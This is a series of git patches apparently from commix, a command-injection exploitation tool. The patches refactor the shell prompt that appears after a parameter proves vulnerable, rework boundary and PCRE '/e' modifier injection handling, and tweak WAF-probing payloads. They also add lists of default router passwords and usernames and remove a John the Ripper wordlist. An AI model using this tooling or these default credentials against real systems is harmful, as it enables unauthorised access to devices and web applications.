settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 37fd763d83..25e2c5a841 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -344,11 +344,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 2006367340..71113c0735 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -421,13 +421,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/utils/settings.py b/src/utils/settings.py index ace6883db4..5948f76014 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -25,6 +25,28 @@ from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module + +# argv checks +def sys_argv_checks(): + tamper_index = None + for i in xrange(len(sys.argv)): + # Disable coloring + if sys.argv[i] == "--disable-coloring": + from src.utils import colors + colors.ENABLE_COLORING = False + """ + Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) + [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae + """ + if sys.argv[i].startswith("--tamper"): + if tamper_index is None: + tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) + else: + sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) + sys.argv[i] = "" + +# argv checks +sys_argv_checks() from src.thirdparty.colorama import Fore, Back, Style, init class HTTPMETHOD(object): @@ -200,26 +222,10 @@ def print_data_to_stdout(data): sys.stdout.write(data) sys.stdout.flush() -# argv checks -def sys_argv_checks(): - tamper_index = None - for i in xrange(len(sys.argv)): - # Disable coloring - if sys.argv[i] == "--disable-coloring": - from src.utils import colors - colors.ENABLE_COLORING = False - """ - Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) - [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae - """ - if sys.argv[i].startswith("--tamper"): - if tamper_index is None: - tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) - else: - sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) - sys.argv[i] = "" -# argv input errors +""" +argv input errors +""" def sys_argv_errors(): _reload_module(sys) try: @@ -256,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e086401bdc1adf53da92b04254795e4306710388 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Jul 2024 07:17:56 +0300 Subject: [PATCH 0478/1023] Minor update regarding testing value(s) inside boundaries --- src/core/injections/controller/checks.py | 112 ++++++++++------------- src/core/main.py | 12 ++- src/core/requests/parameters.py | 18 ---- src/utils/settings.py | 2 +- 4 files changed, 58 insertions(+), 86 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82393f267a..c3fae15f5e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -229,6 +229,7 @@ def skip_testing(filename, url): _ = " testing command injection techniques" else: settings.SKIP_COMMAND_INJECTIONS = False + settings.SKIP_CODE_INJECTIONS = True _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " @@ -454,7 +455,7 @@ def load_cmd_history(): """ Get value inside boundaries. """ -def get_value_inside_boundaries(value): +def get_value_value_inside_boundaries(value): try: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) except Exception as e: @@ -462,74 +463,53 @@ def get_value_inside_boundaries(value): return value """ -Check if the value has boundaries. +Check value inside boundaries. """ -def value_boundaries(parameter, value, http_request_method): - def check_boundaries_value(parameter, value, http_request_method): - _ = get_value_inside_boundaries(value) - - if settings.INJECT_TAG in _: - settings.INJECT_INSIDE_BOUNDARIES = False - return "" - if settings.INJECT_TAG in value: - settings.INJECT_INSIDE_BOUNDARIES = True - return _ - while True: - message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" - message += " ('" + str(value.replace(_ ,_ + settings.CUSTOM_INJECTION_MARKER_CHAR)) + "') [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.INJECT_INSIDE_BOUNDARIES = True - return _ - elif procced_option in settings.CHOICE_NO: - settings.INJECT_INSIDE_BOUNDARIES = False - return "" - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - - if menu.options.skip_parameter != None: - for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): - if parameter.split("=")[0] != skip_parameter: - return check_boundaries_value(skip_parameter, value, http_request_method) - else: - return value +def value_inside_boundaries(parameter, http_request_method): + try: + if isinstance(parameter, str): + value_inside_boundaries = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter).group() + if value_inside_boundaries: + pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2] + if pcre_mod_value not in parameter: + while True: + message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries." + message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'" + message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) + break + elif modifier_check in settings.CHOICE_NO: + break + elif modifier_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(modifier_check) + pass - elif menu.options.test_parameter != None : - for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): - if parameter.split("=")[0] == test_parameter: - return check_boundaries_value(test_parameter, value, http_request_method) - else: - return value - else: - return check_boundaries_value(parameter, value, http_request_method) + value = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries).group(1) + if value: + value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) + while True: + message = "Do you want to inject the provided value '" + value + "' inside boundaries?" + message += " ('" + value + "') [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.INJECT_INSIDE_BOUNDARIES = True + parameter = parameter.replace(value_inside_boundaries, value) + break + elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + except Exception as e: + pass -""" -Add the PCRE '/e' modifier outside boundaries. -""" -def PCRE_e_modifier(parameter, http_request_method): - original_parameter = parameter - if not settings.PCRE_MODIFIER in parameter: - try: - if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: - while True: - message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" - message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.CUSTOM_INJECTION_MARKER_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return original_parameter + settings.PCRE_MODIFIER[1:2] - elif modifier_check in settings.CHOICE_NO: - return original_parameter - elif modifier_check in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(modifier_check) - pass - except Exception as e: - pass return parameter """ diff --git a/src/core/main.py b/src/core/main.py index 389de5c0fd..c12e8f2b9b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -306,6 +306,14 @@ def check_for_injected_url(url): _ = False return _ +""" +Check if value is inside boundaries +""" +def check_value_inside_boundaries(url, http_request_method): + url = checks.value_inside_boundaries(url, http_request_method) + settings.USER_DEFINED_POST_DATA = checks.value_inside_boundaries(settings.USER_DEFINED_POST_DATA, http_request_method) + return url + """ The main function. """ @@ -329,6 +337,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + url = check_value_inside_boundaries(url, http_request_method) + # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: # settings.CUSTOM_INJECTION_MARKER = False @@ -883,8 +893,8 @@ def main(filename, url, http_request_method): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - http_request_method = checks.check_http_method(url) + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 903cd8f86e..50a56b6b20 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -97,9 +97,6 @@ def multi_params_get_value(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) - for param in range(len(multi_parameters)): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list @@ -110,8 +107,6 @@ def multi_params_get_value(parameter): value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(parameters, value, http_request_method) # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). @@ -149,8 +144,6 @@ def multi_params_get_value(parameter): old = value # Grab the value of parameter. value = multi_params_get_value(all_params[param]) - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -208,8 +201,6 @@ def vuln_GET_param(url): except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break @@ -335,9 +326,6 @@ def json_format(parameter): not settings.IS_XML: return "" - for param in range(len(multi_parameters)): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - _ = [] _.append(parameter) parameter = ''.join(checks.check_similarities(_)) @@ -362,8 +350,6 @@ def json_format(parameter): # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(parameter): return parameter - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -413,8 +399,6 @@ def json_format(parameter): old = value # Grab the value of parameter. value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -517,8 +501,6 @@ def vuln_POST_param(parameter, url): except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index 5948f76014..37a6ed3124 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 186000c1c483fee4af12e55959bcb827fb60dbb1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Jul 2024 08:33:39 +0300 Subject: [PATCH 0479/1023] Fixes https://github.com/commixproject/commix/issues/928 --- src/core/injections/controller/checks.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3fae15f5e..82d22df7b1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -73,7 +73,7 @@ def check_waf(url, http_request_method): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) - payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload + payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload if not "?" in url: payload = "?" + payload else: @@ -1997,7 +1997,7 @@ def inappropriate_format(multi_parameters): def check_similarities(all_params): if settings.IS_JSON: try: - _ = "".join(random.choices(string.ascii_uppercase, k=6)) + _ = "".join(random.sample(string.ascii_uppercase, k=6)) all_params = ','.join(all_params) json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index 37a6ed3124..d02b314ecd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c0733e8b89e57eb5f5b34ea545d92cdb8e8e411 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 5 Jul 2024 08:58:19 +0300 Subject: [PATCH 0480/1023] Minor update --- src/txt/default_passwords.txt | 168 ++ src/txt/default_usernames.txt | 14 + src/txt/passwords_john.txt | 3107 --------------------------------- src/txt/usernames.txt | 125 -- src/utils/settings.py | 10 +- 5 files changed, 187 insertions(+), 3237 deletions(-) create mode 100644 src/txt/default_passwords.txt create mode 100644 src/txt/default_usernames.txt delete mode 100644 src/txt/passwords_john.txt delete mode 100644 src/txt/usernames.txt diff --git a/src/txt/default_passwords.txt b/src/txt/default_passwords.txt new file mode 100644 index 0000000000..d9cb41b02b --- /dev/null +++ b/src/txt/default_passwords.txt @@ -0,0 +1,168 @@ +0000 +0123456789 +0P3N +1 +123 +1234 +12345 +123456 +12345678 +123456789 +1234567890 +3bb +3play +3UJUh2VemEfUtesEchEC2d2e +4135279 +@HuaweiHgw +abcd12345 +access key on label +addon +admim +admin +Admin +admin01 +admin1 +Admin123 +admin_Ultimate +adminHW +Administrator +administrator +adminpldt +admintelecom +advanced +airlive +aisadmin +atlantis +attadmin +Aztechadmin +barricade +bayandsl +belong +bEn2o#US9s +bezeqint +broadband +BSNL1234 +cableroot +cciadmin +changeme +cht +chtnvdsl +cisco +Cl@r0 +comcast +conexant +conf +Conf +ctAdmin +cusadmin +cytauser +default +digi +digicel +draadloos +DSL +dsmart +Enduser +enduser +entel +epicrouter +Epuser +Expert +fastweb +fritzfonbox +geekadsl +Gponinstalador@123 +gttuser +guest +Guest +gvt12345 +hamlet +highspeed +home +homebro +HPN +hsparouter +HuaweiUser +ipbbx +kpn +KPN +kpn-adsl +lightweight +linksys +liveboxfibra +loqal +LTEcpe +MaxisBB +menara +meo +motorola +Motorola +mtn +mysweex +NEMONTadmin +netis +NOLOGIN +on +OP3N +oper1234 +operator +optus +ovislink +password +password +password1 +pentagram +pfsense +primus +public +pz938qd6 +pz938qdx +root +router +scmcadmin +SerialNumber +sitecom +sky +smartbro +smc +smcadmin +SpeedStream +superonline +superu +superuser +support +surecom +sweex +tattoo@home +Techni1789# +telecomadmin +telekom +telekomst +TELMEX +telstra +Telstra +telus +test +tmadmin +tot +trendchip +trustpower +ttnet +ubnt +unknown +user +User +useradmin +userEp +utstar +VF-IRhg556 +vivo12345 +vodafone +voo +webadmin +Xavi +zain +zhone +ziggo +zoomadsl +ZXDSL \ No newline at end of file diff --git a/src/txt/default_usernames.txt b/src/txt/default_usernames.txt new file mode 100644 index 0000000000..7020ac13de --- /dev/null +++ b/src/txt/default_usernames.txt @@ -0,0 +1,14 @@ +!root +111111 +1234 +123456 +admin +admin1 +administrator +anonymous +cisco +root +r00t +test +webadmin +user \ No newline at end of file diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt deleted file mode 100644 index b2f7356939..0000000000 --- a/src/txt/passwords_john.txt +++ /dev/null @@ -1,3107 +0,0 @@ -12345 -abc123 -password -computer -123456 -tigger -1234 -a1b2c3 -qwerty -123 -xxx -money -test -carmen -mickey -secret -summer -internet -service - -canada -hello -ranger -shadow -baseball -donald -harley -hockey -letmein -maggie -mike -mustang -snoopy -buster -dragon -jordan -michael -michelle -mindy -patrick -123abc -andrew -bear -calvin -changeme -diamond -fuckme -fuckyou -matthew -miller -ou812 -tiger -trustno1 -12345678 -alex -apple -avalon -brandy -chelsea -coffee -dave -falcon -freedom -gandalf -golf -green -helpme -linda -magic -merlin -molson -newyork -soccer -thomas -wizard -Monday -asdfgh -bandit -batman -boris -butthead -dorothy -eeyore -fishing -football -george -happy -iloveyou -jennifer -jonathan -love -marina -master -missy -monday -monkey -natasha -ncc1701 -newpass -pamela -pepper -piglet -poohbear -pookie -rabbit -rachel -rocket -rose -smile -sparky -spring -steven -success -sunshine -thx1138 -victoria -whatever -zapata -1 -8675309 -Internet -amanda -andy -angel -august -barney -biteme -boomer -brian -casey -coke -cowboy -delta -doctor -fisher -foobar -island -john -joshua -karen -marley -orange -please -rascal -richard -sarah -scooter -shalom -silver -skippy -stanley -taylor -welcome -zephyr -111111 -1928 -aaaaaa -abc -access -albert -alexander -andrea -anna -anthony -asdfjkl; -ashley -basf -basketball -beavis -black -bob -booboo -bradley -brandon -buddy -caitlin -camaro -charlie -chicken -chris -cindy -cricket -dakota -dallas -daniel -david -debbie -dolphin -elephant -emily -fish -fred -friend -fucker -ginger -goodluck -hammer -heather -help -iceman -jason -jessica -jesus -joseph -jupiter -justin -kevin -knight -lacrosse -lakers -lizard -madison -mary -mother -muffin -murphy -ncc1701d -newuser -nirvana -none -paris -pat -pentium -phoenix -picture -rainbow -sandy -saturn -scott -shannon -shithead -skeeter -sophie -special -stephanie -stephen -steve -sweetie -teacher -tennis -test123 -tommy -topgun -tristan -wally -william -wilson -1q2w3e -654321 -666666 -777 -a12345 -a1b2c3d4 -alpha -amber -angela -angie -archie -asdf -blazer -bond007 -booger -charles -christin -claire -control -danny -david1 -dennis -digital -disney -dog -duck -duke -edward -elvis -felix -flipper -floyd -franklin -frodo -guest -honda -horses -hunter -indigo -info -james -jasper -jeremy -joe -julian -kelsey -killer -kingfish -lauren -marie -maryjane -matrix -maverick -mayday -mercury -micro -mitchell -morgan -mountain -niners -nothing -oliver -peace -peanut -pearljam -phantom -popcorn -princess -psycho -pumpkin -purple -randy -rebecca -reddog -robert -rocky -roses -salmon -sam -samson -sharon -sierra -smokey -startrek -steelers -stimpy -sunflower -superman -support -sydney -techno -telecom -test1 -walter -willie -willow -winner -ziggy -zxcvbnm -7777 -OU812 -a -absolut -alaska -alexis -alice -animal -apples -babylon5 -backup -barbara -benjamin -bill -billy -bird33 -blue -bluebird -bobby -bonnie -bubba -camera -chocolate -clark -claudia -cocacola -compton -connect -cookie -cruise -deliver -douglas -dreamer -dreams -duckie -eagles -eddie -einstein -enter -explorer -faith -family -ferrari -fire -flamingo -flip -flower -foxtrot -francis -freddy -friday -froggy -galileo -giants -gizmo -global -goofy -gopher -hansolo -happy1 -hendrix -henry -herman -homer -honey -house -houston -iguana -indiana -insane -inside -irish -ironman -jake -jane -jasmin -jeanne -jerry -jim -joey -justice -katherine -kermit -kitty -koala -larry -leslie -logan -lucky -mark -martin -matt -minnie -misty -mitch -mom -mouse -nancy -nascar -nelson -netware -pantera -parker -passwd -penguin -peter -phil -phish -piano -pizza -porsche911 -prince -punkin -pyramid -rain -raymond -red -robin -roger -rosebud -route66 -royal -running -sadie -sasha -security -sergei -sheena -sheila -skiing -snapple -snowball -sparrow -spencer -spike -star -stealth -student -sun -sunny -sylvia -tamara -taurus -tech -teresa -theresa -thunderbird -tigers -tony -toyota -training -travel -truck -tuesday -victory -video -viper1 -volvo -wesley -whisky -winnie -winter -wolves -xyz123 -zorro -!@#$% -007 -123123 -1234567 -1969 -5683 -696969 -888888 -Anthony -Bond007 -Friday -Hendrix -Joshua -Matthew -October -Taurus -Tigger -aaa -aaron -abby -abcdef -adidas -adrian -alexandr -alfred -arthur -athena -austin -awesome -badger -bamboo -beagle -bears -beatles -beautiful -beaver -benny -bigmac -bingo -bitch -blonde -boogie -boston -brenda -bright -bubba1 -bubbles -buffy -button -buttons -cactus -candy -captain -carlos -caroline -carrie -casper -catalog -catch22 -challenge -chance -charity -charlotte -cheese -cheryl -chloe -chris1 -clancy -clipper -coltrane -compaq -conrad -cooper -cooter -copper -cosmos -cougar -cracker -crawford -crystal -curtis -cyclone -cyrano -dan -dance -dawn -dean -deutsch -diablo -dilbert -dollars -dookie -doom -dumbass -dundee -e-mail -elizabeth -eric -europe -export -farmer -firebird -fletcher -fluffy -ford -fountain -fox -france -freak1 -friends -frog -fuckoff -gabriel -gabriell -galaxy -gambit -garden -garfield -garlic -garnet -genesis -genius -godzilla -goforit -golfer -goober -grace -grateful -greenday -groovy -grover -guitar -hacker -harry -hazel -hector -herbert -hoops -horizon -hornet -howard -icecream -imagine -impala -informix -jack -janice -jasmine -jason1 -jeanette -jeffrey -jenifer -jenni -jesus1 -jewels -joker -julie -julie1 -junior -justin1 -kathleen -keith -kelly -kelly1 -kennedy -kevin1 -knicks -lady -larry1 -ledzep -lee -leonard -lestat -library -lincoln -lionking -london -louise -lucky1 -lucy -maddog -mailman -majordomo -mantra -margaret -mariposa -market -marlboro -martin1 -marty -master1 -mazda1 -mensuck -mercedes -metal -metallic -midori -mikey -millie -mirage -mmm -molly -monet -money1 -monica -monopoly -mookie -moose -moroni -music -naomi -nathan -ncc1701e -nesbitt -news -nguyen -nicholas -nicole -nimrod -october -olive -olivia -one -online -open -oscar -oxford -pacific -painter -peaches -penelope -pepsi -pete -petunia -philip -phoenix1 -photo -pickle -player -poiuyt -porsche -porter -ppp -puppy -python -quality -quest -raquel -raven -remember -republic -research -robbie -robert1 -roman -rugby -runner -russell -ryan -sailing -sailor -samantha -savage -sbdc -scarlett -school -sean -seven -shadow1 -sheba -shelby -shit -shoes -simba -simple -skipper -smiley -snake -snickers -sniper -snoopdog -snowman -sonic -spitfire -sprite -spunky -starwars -station -stella -stingray -storm -stormy -stupid -sumuinen -sunny1 -sunrise -supra -surfer -susan -tammy -tango -tanya -tara -teddy1 -temp -testing -theboss -theking -thumper -tina -tintin -tomcat -trebor -trek -trevor -tweety -unicorn -valentine -valerie -vanilla -veronica -victor -vincent -viper -warrior -warriors -weasel -wheels -wilbur -winston -wisdom -wombat -xanadu -xavier -xxxx -yellow -zaphod -zeppelin -zeus -!@#$%^ -!@#$%^&* -* -0007 -1022 -10sne1 -1111 -1212 -1911 -1948 -1973 -1978 -1996 -1p2o3i -2000 -2222 -3bears -5252 -Andrew -Broadway -Champs -Family -Fisher -Friends -Jeanne -Killer -Knight -Master -Michael -Michelle -Pentium -Pepper -Raistlin -Sierra -Snoopy -Tennis -Tuesday -abacab -abcd -abcd1234 -abcdefg -abigail -account -ace -acropolis -adam -adi -alex1 -alice1 -allison -alpine -amy -anders -andre1 -andrea1 -angel1 -anita -annette -antares -apache -apollo -aragorn -arizona -arnold -arsenal -asdfasdf -asdfg -asdfghjk -avenger -avenir -baby -babydoll -bach -bailey -banana -barry -basil -basket -bass -batman1 -beaner -beast -beatrice -beer -bella -ben -bertha -bigben -bigdog -biggles -bigman -binky -biology -bishop -bliss -blondie -blowfish -bluefish -bmw -bobcat -bosco -boss -braves -brazil -bridges -bruce -bruno -brutus -buck -buffalo -bugsy -bull -bulldog -bullet -bullshit -bunny -business -butch -butler -butter -california -cannondale -canon -carebear -carol -carol1 -carole -cassie -castle -catalina -catherine -catnip -cccccc -celine -center -champion -chanel -chaos -chelsea1 -chester1 -chicago -chico -chip -christian -christy -church -cinder -civil -colleen -colorado -columbia -commander -connie -content -cook -cookies -cooking -cordelia -corona -cowboys -coyote -crack1 -craig -creative -crow -cuddles -cuervo -cutie -cyber -daddy -daisie -daisy -daniel1 -danielle -dark1 -database -davids -deadhead -death -denali -denis -depeche -derek -design -destiny -diana -diane -dickens -dickhead -digger -dodger -don -donna -dougie -draft -dragonfly -dylan -eagle -eclipse -electric -emerald -emmitt -entropy -etoile -excalibur -express -farout -farside -feedback -fender -fidel -fiona -fireman -firenze -fish1 -flash -fletch -florida -flowers -fool -foster -fozzie -francesco -francine -francois -frank -french -fuckface -fun -gargoyle -gasman -gemini -general -gerald -germany -gilbert -goaway -gold -golden -goldfish -goose -gordon -graham -grant -graphic -gregory -gretchen -gunner -hal9000 -hannah -harold -harrison -harvey -hawkeye -heaven -heidi -helen -helena -hell -herzog -hithere -hobbit -huey -ibanez -idontknow -image -integra -intern -intrepid -ireland -irene -isaac -isabel -jackie -jackson -jaguar -jamaica -japan -jeff -jenny1 -jessie -jethrotull -jkl123 -joel -johan -johanna1 -johnny -joker1 -jordan23 -judith -julia -jumanji -jussi -kangaroo -karen1 -kathy -keepout -keith1 -kenneth -kidder -kim -kimberly -king -kingdom -kirk -kitkat -kramer -kris -kristen -lambda -laura -laurie -law -lawrence -lawyer -legend -leon -liberty -light -lindsay -lindsey -lisa -liverpool -logical -lola -lonely -lorrie -louis -lovely -loveme -lucas -m -madonna -mail -major -malcolm -malibu -marathon -marcel -maria1 -mariah -mariah1 -marilyn -mariner -mario -mark1 -marvin -maurice -max -maxine -maxwell -me -media -meggie -melanie -melissa -melody -merlot -mexico -michael1 -michele -midnight -midway -mike1 -miki -mine -miracle -misha -mishka -mmouse -molly1 -monique -montreal -moocow -moon -moore -mopar -morris -mort -mortimer -mouse1 -mulder -nautica -nellie -nermal -new -newton -nicarao -nick -nina -nirvana1 -nissan -norman -notebook -ocean -olivier -ollie -olsen -opera -opus -oranges -oregon -orion -overkill -pacers -packer -panda -pandora -panther -passion -patricia -pearl -peewee -pencil -penny -people -percy -person -peter1 -petey -picard -picasso -pierre -pinkfloyd -pit -plus -polar -polaris -police -polo -pookie1 -poppy -power -predator -preston -primus -prometheus -public -q1w2e3 -queen -queenie -quentin -radio -ralph -random -rangers -raptor -rastafarian -reality -redrum -remote -reptile -reynolds -rhonda -ricardo -ricardo1 -ricky -river -roadrunner -rob -robinhood -robotech -rocknroll -rocky1 -rodeo -rolex -ronald -rouge -roxy -roy -ruby -ruthie -sabrina -sakura -salasana -sally -sampson -samuel -sandra -santa -sapphire -scarecrow -scarlet -scorpio -scott1 -scottie -scout -scruffy -scuba1 -seattle -serena -sergey -shanti -shark -shogun -simon -singer -skibum -skull -skunk -skywalker -slacker -smashing -smiles -snowflake -snowski -snuffy -soccer1 -soleil -sonny -sound -spanky -speedy -spider -spooky -stacey -star69 -start -starter -steven1 -sting1 -stinky -strawberry -stuart -sugar 